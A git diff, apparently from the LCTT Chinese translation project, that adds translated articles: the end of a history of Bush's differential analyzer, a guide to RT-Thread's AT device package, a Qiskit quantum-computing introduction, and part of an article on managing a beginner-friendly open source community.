来源于微分分析仪的电机,它通过匀速转动传动轴来驱动整个计算过程。 + +布什的原理图对于理解我下面要介绍的内容很有帮助。不过为了便于理解,需要先对微分方程再做一次变换。对方程两边同时进行一次积分,得到下式: + +$$ +\frac{dx}{dt} = - \int \left(k\,\frac{dx}{dt} + g\right)\,dt +$$ + +现在方程中的各项与微分分析仪运行中各部件转动量所表示的值之间有了更明确的对应关系。布什的原理图如下: + +![][4] + +_配置的微分分析器用于解决一个维度上的落体问题。_ + +在原理图的顶部是输入面板,右下角是输出面板。图中的输出面板被配置成同时绘制高度 $x$ 和速度 $\frac{dx}{dt}$。积分器在左下方,由于这是二阶微分方程,所以我们需要两个积分器。电机驱动顶部标注为 $t$ 的传动轴。(有趣的是,布什将这些水平传动轴称为“总线”。) + +现在原理图中还剩下两个部件没有解释了。里边标记了 $k$ 的方框是乘法器multiplier,$k$ 是比例常数。它获取由 $\frac{dx}{dt}$ 标记的传动轴的转动量,并通过齿轮组进行放缩。用 $\sum$ 标记的方框是加法器adder。它通过巧妙的齿轮组合将两个传动轴的的转动叠加起来驱动第三个传动轴。我们的方程中涉及了求两项之和,所以需要引入加法器。这些额外组件的引入确保了微分分析仪有足够的灵活性来模拟由各种各样的项和系数组成的方程。 + +我发现以慢放的方式来推演电机启动时的级联因果过程对于理解微分分析仪的原理很有帮助。电机启动后立即驱动传动轴 $t$ 匀速旋转。这样我们就有了时间的概念。这个传动轴有三个作用,分别由连接其上的三个竖直传动轴表示:它驱动了两个积分器的转盘的转动,同时带动输出面板的支架让绘图笔作图。 + +如果积分器的转轮被放置在转盘中心,那么传动轴 $t$ 就不会带动其它传动轴转动。积分器的转盘会转动,但是放置在转盘中心的转轮不会被带动。这时输出图像将会是一条平坦的直线。出现这种情况是因为我们没有明确指定问题的初始条件。在上面的 Python 程序中,我们需要以常量或函数参数的形式用到网球的初始速度。在启动机器之前,我们通过将两个积分器的转盘调整到合适的位置来指定速度和加速度的初始值。 + +设置好这些之后,传动轴 $t$ 的转动将会传导到整个系统之中。从物理上来说,许多部件会同时开始转动。但是我们可以认为转动首先传导到积分器 II,然后与基于 $g$ 计算得到的加速度表达式求积分得到球的速度 $\frac{dx}{dt}$。速度又反过来作为积分器 I 的输入,推动它的转盘让输出转轮以速率 $\frac{dx}{dt}$ 转动。积分器 I 的输出作为最终结果将会被直接导向到输出面板上。 + +前面我有意避开了一个令人困惑的细节,那就是机器里有一个怪圈。积分器 II 以传动轴 $(k\,\frac{dx}{dt} + g)$ 为输入,但是该传动轴的转动又部分决定于积分器 II 的输出本身。这可能快把你绕吐了,但在物理上这并没有任何问题——因为所有部部件都是一同转动的。出现这种怪圈并没什么奇怪的,因为在用微分方程在描述某函数的变化率时,也经常会用该函数的函数的形式。(在这个例子中,加速度,即速度的变化率,取决于于速度。) + +在将所有东西都正确配置好后,机器会输出球的高度和速度随时间变化的函数图像。这个图像是纸质的。用我们的现代数字化思维来看,这可能有点难以理解。画在纸上的函数图像能干什么?微分分析仪确实不能魔术般地给出解的简洁数学表达式,这是事实。但也请记住一点,很多的微分方程根本没有简洁的解析解。纸上的函数图像与前面模拟球下落的 Python 程序包含相同的信息:某时刻球的位置。它可以回答任何关于该问题的实际问题。 + +微分分析仪简直酷到爆。它虽然结构复杂,但是本质上只是一些传动轴和齿轮外的组合。要理解它的运作过程,你不必是电气工程师或者会制造芯片。然而它确实可以解微积分!它能够求解出那些靠你自己永远无法解决的微分方程问题。它证明建造计算机器的关键材料不是硅而是人类的创造力。 + +### 杀人 + +人类的创造力既能为善,也能为恶。正如我提到的,微分分析仪在历史上最知名的应用是为美国陆军计算火炮射表。鉴于二战是一场“正义的战争”,这是最好的结果。但是也不能忽视微分分析仪增强了大口径火炮的杀伤效能。火炮的确杀死了很多人。如果维基百科可信的话,在二战中死于炮火的士兵比被轻武器杀死的更多。 + +我们稍后再回到道德讨论上来,先快速解释一下为什么计算射表这么困难,以及微分分析仪是怎么帮助计算射表的。这是将微分分析仪应用于实际问题的很好的例子。射表能告诉炮手在射击某个距离外的目标时需要将炮口上抬多高。编制射表的一种方法是在不同的仰角下发射该火炮,并将结果记录下来。这种方法被用在靶场,比如位于马里兰的阿伯丁试验场。但是单纯通过实验观察的方式来编制射表即昂贵又耗时。在考虑到如天气状况或不同弹丸重量等其它因素时,需要进行的射击次数将会随组合爆增到无法实施的程度。所以基于少量观测数据建立数学模型,再基于该模型来填充出完整的射表是一个更好的方法。 + +我不想太深入讨论这些数学理论,它们实在太难了,我也不懂。但是你应该也想到了,支配飞行中的炮弹和向上抛出的网球运动的物理规律并没有什么不同。由于计算精度的需要,我们使用的微分方程不得不偏离其理想化的形式,并迅速变得面目狰狞起来。即便是最早的精确弹道理论中的公式,除其它因素外,还考虑了弹丸的重量、直径、形状、主风、海拔、大气密度以及地球自转 [^1]。 + +虽然关于射表计算的方程很复杂,但它们跟前面的微分方程一样,都可以通过微分分析仪数值求解。1935 年微分分析仪被阿伯丁试验场用于求解弹道方程。这显著加快了计算射表的速度。[^2] 然而,二战期间对于射表的需求增长太快了,以至于美国陆军计算射表的速度难以满足运往欧洲战场的武器装备的配套需求。这最终导致陆军资助了宾夕法尼亚大学的 ENIAC 项目。这促成了世界上第一台数字计算机的诞生。(LCTT 译注:严格来说 ENIAC 是第二台电子数字计算机。第一台电子计算机是阿塔纳索夫-贝瑞计算机Atanasoff–Berry Computer,简称 ABC 计算机。)ENIAC 能够通过重新布线运行任意程序。但建造它的主要是为了以数倍于微分分析仪的速度来计算射表。 + +鉴于在微分分析仪之外,射表计算问题极大地推动了早期计算领域的发展,专门挑出微分分析仪的道德问题也许是不公正的。微分分析仪并没有局限于军事领域的应用,在二战期间和二战后的很大一段时间里,由于美国军方投入的大量的拨款,整个计算领域得到了发展。 + +总之,我认为微分分析仪更有趣的遗产是它告诉了我们计算的本质。我惊叹于于微分分析仪能做到这么多事情,我猜你也一样。我们很容易落入这样的思维陷阱:将计算看作是由快速数字电路实现的领域。事实上,计算是更抽象的过程,电子数字电路只是实现计算的典型手段罢了。在关于微分分析仪的论文中,布什说他的发明不过是在“运用复杂机械结构来类比复杂的推理过程这一影响深远的计划”上的微小贡献。他的总结很贴切。 + +-------------------------------------------------------------------------------- + +via: https://twobithistory.org/2020/04/06/differential-analyzer.html + +作者:[Two-Bit History][a] +选题:[lujun9972][b] +译者:[toknow-gh](https://github.com/toknow-gh) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://twobithistory.org +[b]: https://github.com/lujun9972 +[1]: http://worrydream.com/refs/Bush%20-%20The%20Differential%20Analyzer.pdf +[2]: https://sinclairtarget.com/differential-analyzer/ +[3]: https://twobithistory.org/images/diff-analyzer-viz.png +[4]: https://twobithistory.org/images/analyzer-diagram.png +[5]: tmp.MoynZsbJ7w#fn:1 +[6]: tmp.MoynZsbJ7w#fn:2 +[7]: https://twitter.com/TwoBitHistory +[8]: https://twobithistory.org/feed.xml +[9]: https://twitter.com/TwoBitHistory/status/1224014531778826240?ref_src=twsrc%5Etfw +[10]: tmp.MoynZsbJ7w#fnref:1 +[11]: tmp.MoynZsbJ7w#fnref:2 + +[^1]: Alan Gluchoff. “Artillerymen and Mathematicians: Forest Ray Moulton and Changes in American Exterior Ballistics, 1885-1934.” Historia Mathematica, vol. 38, no. 4, 2011, pp. 506–547., .  +[^2]: Karl Kempf. “Electronic Computers within the Ordnance Corps,” 1961, accessed April 6, 2020, .  + diff --git a/published/202302/20210316 Get started with edge computing by programming embedded systems.md b/published/202302/20210316 Get started with edge computing by programming embedded systems.md new file mode 100644 index 0000000000..baf0025a1d --- /dev/null +++ b/published/202302/20210316 Get started with edge computing by programming embedded systems.md @@ -0,0 +1,167 @@ +[#]: subject: "Get started with edge computing by programming embedded systems" +[#]: via: "https://opensource.com/article/21/3/rtos-embedded-development" +[#]: author: "Alan Smithee https://opensource.com/users/alansmithee" +[#]: collector: "lkxed" +[#]: translator: "cool-summer-021" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15525-1.html" + +通过编写嵌入式系统入门边缘计算 +====== + +> 用于操控无线调制解调器的 AT 设备包是 RTOS 最流行的扩展功能之一。 + +![][0] + +RTOS 是一个开源的 [嵌入式设备操作系统][2],由 RT-Thread 开发。它为开发者提供了标准化的、友好的基础架构,开发者可以基于各种设备编写代码,它包含大量有用的类库和工具包,使开发过程更加便捷。 + +RTOS 使用的是模块方式,以便于扩展,这一点跟 Linux 类似。各种软件包可以让开发者将 RTOS 用于任何想要的目标设备。RTOS 最常用的一种扩展是 AT 设备包,它包含各种不同 AT 设备(例如调制解调器)的移植文件和示例代码。 + +在超过 62,000 次下载中(截止至撰写本文时),最流行的 RTOS 扩展之一是 AT 设备包,其中包括用于不同 AT 设备的移植文件和示例代码。 + +### 关于 AT 命令 + +起初,AT 命令是一个协议,用于控制拨号调制解调器。随着调制解调器技术发展到较高的带宽,它仍然可以用作轻量级而高效的设备控制协议,主流的移动电话厂商也联手开发了一系列 AT 命令,用于控制移动电话上的 GSM 模块。 + +如今,AT 命令仍然在网络通信领域具有通用性,很多设备,例如 WiFi、蓝牙、4G,都支持 AT 命令。 + +如果你正在创建用于边缘计算输入、监控或物联网(IoT)的专用设备,则你可能接触到一些 RTOS 支持的 AT 设备,包括 ESP8266、ESP32、M26、MC20、RW007、MW31、SIM800C、W60X、SIM76XX、A9/A9G、BC26、AIR720、ME3616、M 6315、BC28 和 EC200X。 + +RT-Thread 包含套接字抽象层(SAL)组件,SAL 实现了多种网络协议和接口的抽象,为上层提供了一系列标准的 [BSD 套接字][3] API。SAL 进而接管了 AT 的套接字接口,所以开发者只需要考虑网络应用层提供的网络接口。 + +这个软件包实现了设备(包括上述设备)上的 AT 套接字功能,支持通过标准套接字接口以 AT 命令的形式通信。[RT-Thread 编程指南][4] 中就有关于这些功能的详细介绍。 + +at_device 软件包是在 LGPLv2.1 许可证下分发的,借助 [RT-Thread Env 工具][5] 可以方便地获取到。该工具包含一个配置器和一个包管理器,它们分别用于配置内核和组件功能,可以用于定制组件并管理在线包。有了这些工具,开发者可以像搭积木一样构建系统。 + +### 获取 AT 设备包 + +为了使用配置了 RTOS 的 AT 设备,你必须启用 AT 组件库和 AT 套接字功能,需要: + +* RT_Thread 4.0.2+ +* RT_Thread AT 组件 1.3.0+ +* RT_Thread SAL 组件 +* RT-Thread netdev 组件 + +AT 设备包已经针对多种版本进行了相应的更新。版本不同,配置选项也相应地不同,因此必须针对相应的系统版本进行适配。目前最常用的 AT 设备包版本有: + +* V1.2.0: 针对低于 V3.1.3 的 RT-Thread,V1.0.0 的 AT 组件 +* V1.3.0: 针对低于 V3.1.3 的 RT-Thread,V1.1.0 的 AT 组件 +* V1.4.0: 针对低于 V3.1.3 或等于 V4.0.0 的 RT-Thread,V1.2.0 的 AT 组件 +* V1.5.0: 针对低于 V3.1.3 或等于 V4.0.0 的 RT-Thread,V1.2.0 的 AT 组件 +* V1.6.0: 针对低于 V3.1.3 或等于 V4.0.1 的 RT-Thread,V1.2.0 的 AT 组件 +* V2.0.0/V2.0.1: 针对高于 V3.1.3 的 RT-Thread,V1.3.0 的 AT 组件 +* 最新版: 针对高于 V3.1.3 的 RT-Thread,V1.3.0 的 AT 组件 + +获取正确的版本的过程主要是在生成菜单时自动完成的。它基于现有的系统环境提供最合适的 AT 设备包。 + +正如前文提到的,不同的版本需要不同的配置选项。例如, + +``` +RT-Thread online packages  ---> +     IoT - internet of things  ---> +        -*- AT DEVICE: RT-Thread AT component porting or samples for different device   +        [ ]   Enable at device init by thread +              AT socket device modules (Not selected, please select)  --->     +              Version (V1.6.0)  ---> +``` + +按线程启用 AT 设备初始化的选项决定了配置是否创建一个单独的线程来初始化设备网络。 + +2.x 版本支持同时启用多个 AT 设备: + +``` +RT-Thread online packages  ---> +     IoT - internet of things  ---> +        -*- AT DEVICE: RT-Thread AT component porting or samples for different device +        [*]   Quectel M26/MC20  ---> +          [*]   Enable initialize by thread +          [*]   Enable sample +          (-1)    Power pin +          (-1)    Power status pin +          (uart3) AT client device name +          (512)   The maximum length of receive line buffer +        [ ]   Quectel EC20  ---> +        [ ]   Espressif ESP32  ---> +        [*]   Espressif ESP8266  ---> +          [*]   Enable initialize by thread +          [*]   Enable sample +          (realthread) WIFI ssid +          (12345678) WIFI password +          (uart2) AT client device name +          (512)   The maximum length of receive line buffer +        [ ]   Realthread RW007  ---> +        [ ]   SIMCom SIM800C  ---> +        [ ]   SIMCom SIM76XX  ---> +        [ ]   Notion MW31  ---> +        [ ]   WinnerMicro W60X  ---> +        [ ]   AiThink A9/A9G  ---> +        [ ]   Quectel BC26  ---> +        [ ]   Luat air720  ---> +        [ ]   GOSUNCN ME3616  ---> +        [ ]   ChinaMobile M6315  ---> +        [ ]   Quectel BC28  ---> +        [ ]   Quectel ec200x  ---> +        Version (latest)  ---> +``` + +这个版本包含了很多其他选项,其中也有启用示例代码的选项,这对初学者或使用不熟悉的设备的开发者很有帮助。 + +你也可以设置相应选项,选择你想用来给你的组件供电的针脚、指示电源状态的针脚、样本设备使用的串行设备的名称,以及样本设备接收数据的最大长度。在合适的设备上,你也可以设置 SSID 和密码。 + +简而言之,控制选项是够用的。 + +* V2.x.x 版本支持同时启用多个 AT 设备,欲查看启用的设备信息,在 [finsh shell][6] 中执行 `ifocnfig` 命令即可。 +* V2.X.X 版本需要设备在使用前先注册;注册可以在样例目录中进行,或在应用层以自定义方式进行。 +* 针脚选项,例如电源针脚和电源状态针脚是按照设备的硬件连接来配置的。如果硬件的开启功能不可用,它们就会被设置为 `-1`。 +* 一台AT 设备应当对应一个序列名称,每台设备的 AT 客户端名称应当是不同的。 + +### AT 组件配置选项 + +当选择了 AT 组件包,启用了设备支持,AT 组件的客户端功能也就默认选择完成了。对 AT 组件来说,这就意味着有更多的选项要设置: + +``` +RT-Thread Components  ---> +    Network  ---> +        AT commands  ---> +    [ ]   Enable debug log output +    [ ]   Enable AT commands server +    -*-   Enable AT commands client +    (1)     The maximum number of supported clients +    -*-     Enable BSD Socket API support by AT commnads +    [*]     Enable CLI(Command-Line Interface) for AT commands +    [ ]     Enable print RAW format AT command communication data +    (128)   The maximum length of AT Commonds buffer +``` + +与 AT 设备包有关的配置选项有: + +* 支持的客户端最大个数:选择 AT 设备包中的多台设备时,需要将该选项配置为对应的设备台数; +* 通过 AT 命令启用 BSD 套接字 API 功能:当选择 AT 设备包时默认选择该选项。 +* AT 命令的最大长度:AT 命令可发送的数据的最大长度 + +### 一切皆有可能 + +当你开始进行嵌入式系统编程,你会很快意识到,你可以创造自己想象得到得任何东西。RTOS 旨在帮助你实现它,它的那些功能包为你提供了良好的开端。现在,设备的互联也是可期待的。边缘的物联网技术必须能够通过各种协议进行通信,而 AT 协议是关键。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/3/rtos-embedded-development + +作者:[Alan Smithee][a] +选题:[lkxed][b] +译者:[cool-summer-021](https://github.com/cool-summer-021) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/alansmithee +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/tips_map_guide_ebook_help_troubleshooting_lightbulb_520.png +[2]: https://opensource.com/article/20/6/open-source-rtos +[3]: https://en.wikipedia.org/wiki/Berkeley_sockets +[4]: https://github.com/RT-Thread/rtthread-manual-doc/blob/master/at/at.md +[5]: https://www.rt-thread.io/download.html?download=Env +[6]: https://www.rt-thread.org/download/rttdoc_1_0_0/group__finsh.html +[7]: https://www.redhat.com/en/topics/edge-computing +[0]: https://img.linux.net.cn/data/attachment/album/202302/10/065738jhzvfgfgyvfznfhz.jpg \ No newline at end of file diff --git a/published/202302/20210619 Try quantum computing with this open source software development kit.md b/published/202302/20210619 Try quantum computing with this open source software development kit.md new file mode 100644 index 0000000000..f4040abe93 --- /dev/null +++ b/published/202302/20210619 Try quantum computing with this open source software development kit.md @@ -0,0 +1,117 @@ +[#]: subject: (Try quantum computing with this open source software development kit) +[#]: via: (https://opensource.com/article/21/6/qiskit) +[#]: author: (Gordon Haff https://opensource.com/users/ghaff) +[#]: collector: (lujun9972) +[#]: translator: (cool-summer-021) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-15552-1.html) + +借助开源软件开发包尝试量子计算编程 +====== + +> Qiskit 是一个开源 SDK,借助它可以免费访问量子模拟器和硬件资源。 + +![][0] + +经典计算机是基于二进制数的,二进制数有 0 和 1 两种形式。这并不是由于二进制逻辑系统比有更多基本状态的逻辑系统(甚至包括模拟计算机)有内在优势。而是,对电路元件的开关操作很容易实现,而且借助先进的半导体技术,可以制造出体积小且价格低廉的计算机。 + +但它们并非没有局限性。经典计算机求解某些问题的效率并不高,主要是那些时间或内存成本随着问题的规模($n$)呈指数级增长的问题。我们把这种问题称为 $O(2^n)$([大 O 表示法][2])。 + +大部分现代加密方法甚至依赖这一特性。把两个大素数相乘,耗费的成本低($O(n^2)$),但进行反向操作就非常耗时。所以只要使用的数字足够大,对它分解质因数就非常困难。 + +### 进入量子世界 + +量子计算的基础数学和力学知识不在本文的探讨范围内。然而,还是有一些基础知识需要预先说明。 + +量子计算机以 [量子比特][3] 代替了二进制比特 —— 量子比特是体现量子属性的可控计算单元。构成量子比特的通常是超导元件,或自然界中存在的量子实物(例如电子)。量子比特可以以“叠加superposition”状态存在,叠加态是 0 和 1 以某种方式组合起来的复杂状态。你可能听说过,量子比特既为 1 又为 0,这种说法并不准确。真实情况是,如果进行测量,量子比特的状态会坍缩为 0 或 1。在数学上,量子比特未测量的状态可以看作 [布洛赫球面][4]Bloch sphere 的几何表示上的一个点。 + +尽管对习惯使用经典计算机的任何人来说,叠加态是一个全新的概念,但一个量子比特本身并没有什么趣味性。量子计算的第二个概念是“干涉interference”。真正的量子计算机本质上是统计性质的。量子算法对干涉图案进行编码,增加了可以测量编码方案的状态的概率。 + +叠加和干涉的概念虽然新颖,但在物理世界中也有对应的现象。而量子力学中的“纠缠entanglement”却没有,但它是实现指数级量子加速的真正关键。借助量子纠缠,对一个微观粒子的测量可以影响后续对其他被纠缠的粒子的测量结果 —— 即使是那些物理上没有关联的粒子。 + +### 量子计算能做什么? + +今天的量子计算机就其包含的量子比特的数量而言是相当小的,只有几十到几百个。因此,虽然人们不断开发新的算法,但比同级别经典计算机运行得快的硬件还未问世。 + +但是在很多领域,量子计算机能带来很大好处。例如,它能提供较好的方法来模拟自然界的量子系统,例如分子,其复杂程度超过了经典计算机的建模能力。量子计算也跟线性代数有关,它是机器学习和很多其他现代优化问题的基础。因此,我们有理由认为量子计算也可以很好地适用于此。 + +在量子算法相对于普通算法的优势方面,[Shor 算法][5] 是经常被提及的例子,它在较早时候就用于分解质因数。它由 MIT 的数学家 Peter Shor 于 1994 年发明,量子计算机目前还不能在较大的问题上运行该算法。但它已经被证明可以在 $O(n^3)$ 时间内完成工作,而不像经典算法那样需要指数级的时间。 + +### 从使用 Qiskit 开始 + +你可能在想:“我身边没有量子计算机,但我很想尝试一下。能做到吗?” + +我们来了解一下名称为 [Qiskit][6] 的开源项目(采用 Apache 2.0 许可证)。它是一个软件开发包(SDK),用于访问 IBM 量子实验室的量子计算模拟器和物理硬件(免费)。你只需要注册获得一个 API 密钥。 + +当然,如果要深入研究 Qiskit,需要很多其他方面的知识,线性代数只是其中一部分,这些都远远超出了本文的范围。如果你需要深入学习,网上有很多免费资源,其中也不乏完整的教科书。然而,体验一下也很简单,只需要一些 Python 和 Jupyter notebook 的基础知识即可。 + +为了增加趣味性,我们全程使用 [Qiskit 教程][8] 的 “Hello, World!” 程序: + +首先,安装教程的相关工具和部件: + +``` +pip install git+https://github.com/qiskit-community/qiskit-textbook.git#subdirectory=qiskit-textbook-src +``` + +下一步,进行软件包的导入: + +``` +from qiskit import QuantumCircuit, assemble, Aer +from math import pi, sqrt +from qiskit.visualization import plot_bloch_multivector, plot_histogram +``` + +`Aer` 是本地模拟器。Qiskit 包括四个组件:`Aer`、基础组件 `Terra`、用于实际的量子系统上的噪音和错误处理的 `Ignis`,以及用于算法开发的 `Aqua`。 + +``` +# Let's do an X-gate on a |0> qubit +qc = QuantumCircuit(1) +qc.x(0) +qc.draw() +``` + +虽然底层数学原理还涉及到矩阵乘法,量子计算机中 X 门也可以认为类似于经典计算机中的非门。(事实上,它经常被称为 "非门")。 + +现在,运行并测量它。结果跟你预期的一样,因为量子比特的初始状态是 `|0>`,接着反转,然后被测量。(使用 `|0>` 和 `|1>` 与经典计算机中的比特区分开来。) + +``` +# Let's see the result +svsim = Aer.get_backend('statevector_simulator') +qobj = assemble(qc) +state = svsim.run(qobj).result().get_statevector() +plot_bloch_multivector(state) +``` + +![Bloch sphere showing the expected result][9] + +*布洛赫球体显示了预期的运行结果* + +### 结论 + +在某些方面,你可以把量子计算看作用于经典计算机的一种独特的协处理器,跟 GPU 和 FPGA 一样。不同的是,在可预见的未来,量子计算机可以被用户像网络资源一样访问到。另一个差异是,它们的工作有本质的不同,所以不像很多其他你熟悉的加速器那样。因此,人们对算法开发如此感兴趣,并投入大量资源来研究量子在何时何地的性能最好。了解一下这些东西也无妨。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/6/qiskit + +作者:[Gordon Haff][a] +选题:[lujun9972][b] +译者:[cool-summer-021](https://github.com/cool-summer-021) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/ghaff +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/gears_devops_learn_troubleshooting_lightbulb_tips_520.png?itok=HcN38NOk (Tips and gears turning) +[2]: https://en.wikipedia.org/wiki/Big_O_notation +[3]: https://en.wikipedia.org/wiki/Qubit +[4]: https://en.wikipedia.org/wiki/Bloch_sphere +[5]: https://en.wikipedia.org/wiki/Shor%27s_algorithm +[6]: https://qiskit.org/ +[7]: https://qiskit.org/learn +[8]: https://qiskit.org/textbook/preface.html +[9]: https://opensource.com/sites/default/files/uploads/bloch-sphere.png (Bloch sphere showing the expected result) +[10]: https://creativecommons.org/licenses/by-sa/4.0/ +[0]: https://img.linux.net.cn/data/attachment/album/202302/18/173656shxb63jjx9z5jwxl.jpg \ No newline at end of file diff --git a/published/202302/20210820 3 steps for managing a beginner-friendly open source community.md b/published/202302/20210820 3 steps for managing a beginner-friendly open source community.md new file mode 100644 index 0000000000..80b96b547d --- /dev/null +++ b/published/202302/20210820 3 steps for managing a beginner-friendly open source community.md @@ -0,0 +1,141 @@ +[#]: subject: "3 steps for managing a beginner-friendly open source community" +[#]: via: "https://opensource.com/article/21/8/beginner-open-source-community" +[#]: author: "Isabel Costa https://opensource.com/users/isabelcmdcosta" +[#]: collector: "lujun9972" +[#]: translator: "XiaotingHuang22" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15534-1.html" + +管理对新手友好的开源社区的三个步骤 +====== + +> 作为一个开源项目的成员,你可以做很多事情来帮助新手找到为项目作出贡献的方式。 + +![][0] + +当有人刚开始为开源做贡献时,最好从对新手友好的故障和议题开始。但在他们修复故障之前,他们必须要能够找到这类问题。作为一个开源项目的成员,你可以做很多事情来帮助新手找到为项目贡献的方式。 + +鉴于此,[AnitaB.org 开源社区][2] 优先考虑让我们的社区做到对新手友好。我们提倡包容性,确保不同经验和水平的贡献者都可以参与进来,并且他们的贡献不止限于跟编程有关。 + +我最近在 [Upstream 2021][4],即 Tidelift 活动中介绍了我们在 [AnitaB.org][3] 上所做的一些社区工作,该活动启动了“维护者周”,这是一个为期一周的开源维护者庆祝活动。在活动中我讨论了我们策略的三个主要部分: + + * 我们如何沟通 + * 项目和议题 + * 开源项目 + +### 我们如何沟通 + +透明度是开源的重要组成部分,我们将透明度原则应用于我们的沟通方式。实际上,这意味着我们所有的社区会议都是公开进行的,并且影响我们设置 Zulip 聊天的方式以及我们提供文档的方式。 + +#### 开放会议 + +任何人都可以加入我们的会议,并讨论与我们社区相关的话题。他们可以参与讨论或者旁听。会议相关信息在我们的社区日历中都可以找到。在这些通话中我们通常只使用语音聊天,我们发现这可以让人们在参与时感觉更自在。 + +我们举办以项目为中心的会议和一些分类的会议。会议上,来自不同领域的人们可以讨论同一个项目并帮助改进我们的流程。偶尔,我们会有“自由提问Ask Me Anything(AMA)”会议,任何人都可以来问任何与开源相关的问题。 + +所有会议我们都会在共享文档中进行记录,并在 [我们的 Zulip][5] 中共享摘要和文档链接。 + +#### 我们的 Zulip 聊天 + +开源 Zulip 聊天平台是我们的主要社区交流渠道,虽然我们也在 Github 的评论区讨论议题和拉取请求Pull Request(PR)。一般来说,我们禁用了私人消息以确保我们尽可能透明。对于这条规则,我们只有少数例外,那些私人聊天是管理员在处理我们运行程序的后勤工作所用的。我们发现这种方法更受欢迎,它还使我们能够更清楚公共聊天中的违规行为。 + +我们在 Zulip 聊天室分享所有会议摘要,包括讨论的要点、行动项目和文档。这些听起来好像是些显而易见的要求,但我一直惊讶于很多开源项目并不提供会议笔记,所以 Zulip 可以让那些没有参加会议的人也随时了解情况。 + +在 Zulip上,我们讨论项目路线图,回答社区的问题和疑问,并积极**促进人们通过不同的方式方法和在不同的场景下做出自己的贡献**。有时我们为贡献者的成就而庆祝 —— 无论是为了突出他们测试或者审查的第一个拉取请求,还是强调我们志愿者所做的出色工作。 + +#### 文档 + +我们尽量保持**关于我们流程的开放文档**,例如常见问题解答,以便这些社区成员可以按照自己的节奏和时间了解社区。这是为了让他们在联系我们之前了解我们的工作方式以及我们从事的工作类型。 + +### 项目和议题 + +关于我们的项目和议题管理,我们鼓励通过多种方式做出贡献,我们为新手专门创建特定的议题,并尝试让项目的设置变得简单。 + +#### 多种贡献的方式 + +我们努力创建**需要不同贡献的问题**,例如文档、测试、设计和外展。这是为了让任何人 —— 无关他们的经验水平和兴趣领域 —— 都能做出贡献。这样能够帮助社区参与进来,而且我们发现它使成员能够从一些省力但有价值的任务开始一步步做出贡献。 + +我们提倡的贡献类型有: + + * 不同复杂性的编程任务。 + * 质量保证任务 —— 贡献者可以测试我们的应用程序或拉取请求并报告错误。 + * 社区成员可以参与讨论的设计会议。此外,创建模型和重新设计我们应用程序某些部分的机会,并探索改进用户体验。 + * 外展任务,我们主要在 Zulip 上推广,我们建议在我们的 Medium 出版物上发表博客,介绍他们的开源经验和他们的贡献。 + * 文档任务,可以包括一般社区文档或我们在 Docusaurus 上的项目文档。 + +#### 仅限新手的问题 + +我们将一些**议题标记为“仅限新手”**。这些问题适用于尚未为议题存储库做出贡献的人。为议题做标签还使我们能够让人们在贡献者大量涌入时开始他们的开源之旅,例如,在 [谷歌编程之夏(GSoC)][6] 申请期间。 + +有时,这些可能是“唾手可得的果实”,可以让他们熟悉作出贡献和提交拉取请求的过程。 + +#### 简单的项目设置 + +我们也很在意为我们的项目提供**新手友好的安装设置**。我们注意到最活跃的项目通常是最容易设置的。我们知道,为你不熟悉的项目做出贡献可能需要付出很多努力并且关乎贡献体验的成败。 + +我们尝试提供有关如何在多个操作系统上运行我们项目的说明。在过去,我们有一些项目有单独的说明,可以在 Unix 环境下运行,我们注意到贡献者在 Windows 上运行这些项目有些困难。自那以后我们不断进行改进,以避免贡献者在 Zulip 上寻求帮助时出现混乱。 + +我们根据贡献者的经验,一直在改进我们最活跃的项目之一 [mentorship-backend][7] 的自述文件。新手在这个项目中遇到的困难之一是设置与配置电子邮件帐户相关的部分环境变量,以使后台功能能够发送电子邮件。但是,由于此功能对于本地开发并不重要,因此默认情况下,我们将电子邮件设置设为可选,以便将电子邮件打印到终端,而不是发送给用户。这种方法仍然使贡献者可以看到这些电子邮件。与此更改类似,我们将 [SQLite 数据库][8] 作为本地开发的默认设置,以避免对 Postgres 数据库进行额外设置,虽然我们在部署版本中会使用到 Postgres。 + +我们注意到,一些贡献者在为我们的 [bridge-in-tech-backend][9] 项目做出贡献时觉得很困难,该项目的设置很复杂,并且包含的步骤比 [mentorship-backend][7] 多得多。自从我们在一个开源项目中注意到这一点以来,我们一直在探索如何改进其结构。 + +对于我们的大多数项目,我们还提供应用程序的实时体验版本或打包版本,以便贡献者无需设置即可测试项目。这有助于我们为那些对开发设置不感兴趣或不熟悉的贡献者提供一种方式,来尝试我们应用程序的最新版本,并通过报告发现的任何错误来做出贡献。我们在 [质量保证指南][10] 中放了这些应用程序的链接。 + +### 开源计划 + +我们在社区中组织了两个主要计划:开源黑客(OSH)(一个为期一个月的项目)和 Open Source Ambassadors(一个为期六个月的项目)。 + +#### 开源黑客(OSH) + +在此计划中,我们在多个类别的贡献中创建议题 —— 文档、编码、外展、测试和设计(类似于 [谷歌的 Code-in][11] 竞赛)。 参与者可以为每个类别至少贡献一次并获得电子证书。一个议题可能包含多个类别,并且无需合并拉取请求也能使贡献有效。 + +我们为这个计划选取几个项目,请导师们集思广益为参与者创造议题。项目开始后参与者可以认领议题并开始作出贡献。导师们会支持帮助并审查他们的贡献。 + +这种方法鼓励贡献的多样性,并欢迎任何人,无论他们的编码能力如何,都可以在友好和不怕出错的环境中做出贡献。 + +#### 开源大使 + +在此计划中,我们从社区中选择大使,理想情况下他们将涵盖我们旨在促进的每一类贡献。至今该计划已启动了两次。 + +该计划旨在让成员通过回答社区的议题、协助贡献者参与并为他们指定的类别宣传来帮助管理项目和计划。 + 